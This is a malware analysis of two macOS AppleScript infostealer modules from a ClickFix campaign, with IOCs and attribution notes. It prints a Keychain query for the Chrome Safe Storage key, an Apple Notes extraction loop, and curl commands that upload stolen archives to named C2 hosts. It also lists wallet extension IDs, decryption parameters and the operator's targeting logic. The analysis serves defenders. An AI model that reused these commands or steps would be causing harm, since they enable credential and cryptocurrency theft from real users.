ClickFix — Infostealer Modules (smodule + lmodule)
Full and light AppleScript stealer variants: 60 wallet extension targets, LevelDB strategy, Chrome Safe Storage attack, variant comparison, attribution significance.
ClickFix — Infostealer Modules (smodule + lmodule)
Two stealer variants: smodule (195 KB, full sweep) and lmodule (168 KB, light/fast). Both target 60 cryptocurrency wallet extensions via LevelDB, with Chrome Safe Storage key theft as the decryption primitive.
See also: clickfix-handoff | clickfix-c2-bot | clickfix-iocs
1. Overview
| Variant | Size | Command | Capabilities | Execution Time |
|---|---|---|---|---|
| smodule | 195 KB | runloader | Wallets + Desktop + Documents + Notes | 34–360s |
| lmodule | 168 KB | runlight | Wallets only | 8–35s |
Both are streamed from C2 and piped to osascript — no file written to disk.
2. Wallet Extension Targets (60)
The stealer contains a hardcoded dictionary mapping wallet names to Chrome/Brave Extension IDs:
| # | Wallet | Extension ID | Network |
|---|---|---|---|
| 1 | MetaMask | nkbihfbeogaeaoehlefnkodbefgpgknn | Ethereum/EVM |
| 2 | Trust Wallet | egjidjbpglichdcondbcbdnbeeppgdph | Multi-chain |
| 3 | Phantom | bfnaelmomeimhlpmgjnjophhpkkoljpa | Solana/Multi |
| 4 | Solflare | bhhhlbepdkbapadjdnnojkbgioiodbic | Solana |
| 5 | OKX Wallet | mcohilncbfahbmgdjkbpemcciiolgcge | Multi-chain |
| 6 | Zerion | klghhnkeealcohjjanjjdaeeggmfmlpl | Multi-chain DeFi |
| 7 | Leather (Hiro) | ldinpeekobnhjjdofggfgjkpckbacjfm | Bitcoin/Stacks |
| 8 | TronLink | ibnejdfjmmkpcnlpebklmnkoeoihofec | Tron |
| 9 | MathWallet | afbcbjpbpfadlkmhmclhkeeodmamcflc | Multi-chain |
| 10 | Coin98 | aeachknmefphepccionboohckonoeemg | Multi-chain |
| 11 | Bitget Wallet | jiidiaalihmmhdlpbddfodddkldfajbb | Multi-chain |
| 12 | Atomic Wallet | bhghoamapcdpbohphigoooaddinpkbai | Multi-chain |
| 13 | Gate.io Wallet | cpmkpbmlgnkgmelbokglmbkiokeidbba | Multi-chain |
| 14 | Braavos | jnlgamecbplifkjkellooofy0fo95bci | Starknet |
| 15 | TON Wallet | nphplpgoakhhjchkkhmiggakijnkhfnd | TON |
...and 45 more covering: Finnie, Crypto.com DeFi, InspectCrypto, Razor, ZilPay, Kardiachain, Ultra, Cyano, Ctrl, CLV, Fewcha, Surf, MyTon, OpenMask, Oxygen Atomic, NC Wallet, ROSE, EVER, Ready, XDCPay, Slope, NeoLine, BlockWallet, Sui (Suiet), Petra, Pontem, Sender, Vanta, iWallet, Martian, Zappit, CWallet, Pali, SUKU, Polymesh, Casper, Bitverse, Cosmostation, Forhole X, ICONex, BitMask, TezBox, XcelPay, Beam, Stargazer.
The breadth covers Ethereum/EVM, Solana, Bitcoin, Aptos, Sui, TON, Tron, Cosmos, and a dozen other ecosystems. This is purpose-built crypto theft with extensive research behind it.
3. LevelDB Targeting Strategy
Chrome stores extension data (including encrypted wallet vaults) in LevelDB databases at:
~/Library/Application Support/Google/Chrome/Default/Local Extension Settings/<extension_id>/
~/Library/Application Support/Brave Browser/Default/Local Extension Settings/<extension_id>/
The .ldb and .log files contain encrypted wallet vaults. Without the Chrome Safe Storage key, contents are AES-256-GCM encrypted blobs. With the key + raw files → complete decryption offline.
Skip List Analysis
The skip list reveals hands-on knowledge of Chrome internals:
| Skipped | Reason |
|---|---|
.DS_Store | macOS metadata |
Partitions | Chrome internal partition data |
Code Cache | JS bytecode — large, no wallet data |
Cache | HTTP cache — large, no wallet data |
journals | LevelDB WAL — redundant if .ldb copied |
Previews | Tab preview images |
dumps | Crash dumps |
emoji | Emoji cache |
user_data | Generic user data |
This is not a generic directory crawler — it is purpose-built for wallet extraction.
4. Chrome Safe Storage Attack
Chrome encrypts extension storage with:
AES-256-GCM(data, key=PBKDF2(password="Chrome Safe Storage key", salt="saltysalt", iterations=1003, dklen=16))
The raw key is in macOS Keychain under service Chrome Safe Storage. The stealer attempts:
do shell script "security find-generic-password -wa 'Chrome Safe Storage'"
If the user approves the Keychain prompt → attacker gets the decryption key → all wallet vaults decryptable offline. If denied → LevelDB files remain encrypted blobs.
5. Additional Targets (smodule only)
Desktop & Documents Sweep
- Iterates both directories
- Copies files below size threshold (to avoid large video files)
- Targets: screenshots (seed phrases), PDFs, text files, wallet backups
Apple Notes Exfiltration
tell application "Notes"
repeat with theFolder in every folder
repeat with theNote in every note of theFolder
-- Extract note content to staging dir
end repeat
end repeat
end tell
Targets: seed phrases stored in Notes, wallet recovery info, passwords.
6. Upload Pipeline (shared)
-- ZIP creation
do shell script "ditto -c -k --sequestRsrc " & stagingDir & " " & zipPath
-- Primary upload
do shell script "curl -s -X POST 'https://sj98xe4.xyz/upload.php' -F 'file=@" & zipPath & "'"
-- Fallback
do shell script "curl -s -X POST 'http://62.60.226.50/upload.php' -F 'file=@" & zipPath & "'"
7. Variant Comparison
| Capability | smodule | lmodule |
|---|---|---|
| Wallet LevelDB sweep (60+) | Yes | Yes |
| Chrome Safe Storage attack | Yes | Yes |
| Desktop sweep | Yes | No |
| Documents sweep | Yes | No |
| Apple Notes exfil | Yes | No |
| ZIP + upload | Yes | Yes |
| Execution time | 34–360s | 8–35s |
| TCC prompt risk | High | Low |
| Typical archive size | 5–100 MB | 1–10 MB |
lmodule is 4–10x faster than smodule.
8. Operational Decision Framework
flowchart TD
A[Victim connects] --> B{Confirmed crypto holder?}
B -->|No| C[No immediate dispatch]
B -->|Yes| D{Time sensitivity?}
D -->|Victim may notice| E[runlight — fast grab]
D -->|Safe window| F{Deep intel needed?}
F -->|Yes| G[runloader — full sweep]
F -->|No| G
| Scenario | Module | Rationale |
|---|---|---|
| Victim browsing, may notice | lmodule | <60s execution |
| Victim away from machine | smodule | Full sweep, no user present |
| High-value target (>$10K) | smodule | Maximize collection |
| Wide-net triage | lmodule | Fast qualification |
| Need seed phrase screenshots | smodule | Desktop/Documents may have them |
9. Attribution Significance
Maintaining two distinct variants suggests:
- Organized operation — active development and operational doctrine
- Operator training —
runlightcommand implies instructed usage - Campaign maturity — tooling refined for different operational tempos
- Continued development — stub
ledgermodule indicates new capabilities in progress
10. Stolen vs. Blocked Impact
| Data | smodule | lmodule | Notes |
|---|---|---|---|
| Chrome Safe Storage key | Blocked (user denied) | Blocked | Key vaults remain encrypted |
| Wallet LevelDB files | Exfiltrated (encrypted) | Exfiltrated (encrypted) | Useless without Safe Storage key |
| Desktop files | Not accessed | N/A | |
| Documents | Not accessed | N/A | |
| Apple Notes | Attempted | N/A | |
| Staging ZIP | Created, uploaded | Created, uploaded |
11. IOCs
| Type | Value | Notes |
|---|---|---|
| Dispatch command | runloader / runlight | Task poll response |
| Upload primary | sj98xe4.xyz/upload.php | Shared |
| Upload fallback | 62.60.226.50/upload.php | Shared |
| Temp ZIP | /tmp/<random-uuid>.zip | Auto-deleted after upload |
| Keychain query | security find-generic-password -wa 'Chrome Safe Storage' | Behavioral IOC |
| Chrome path | ~/Library/Application Support/Google/Chrome/Default/Local Extension Settings/ | Access pattern |
Source: redhat-clickfix-report/docs/05_stage4_smodule.md + docs/06_stage4_lmodule.md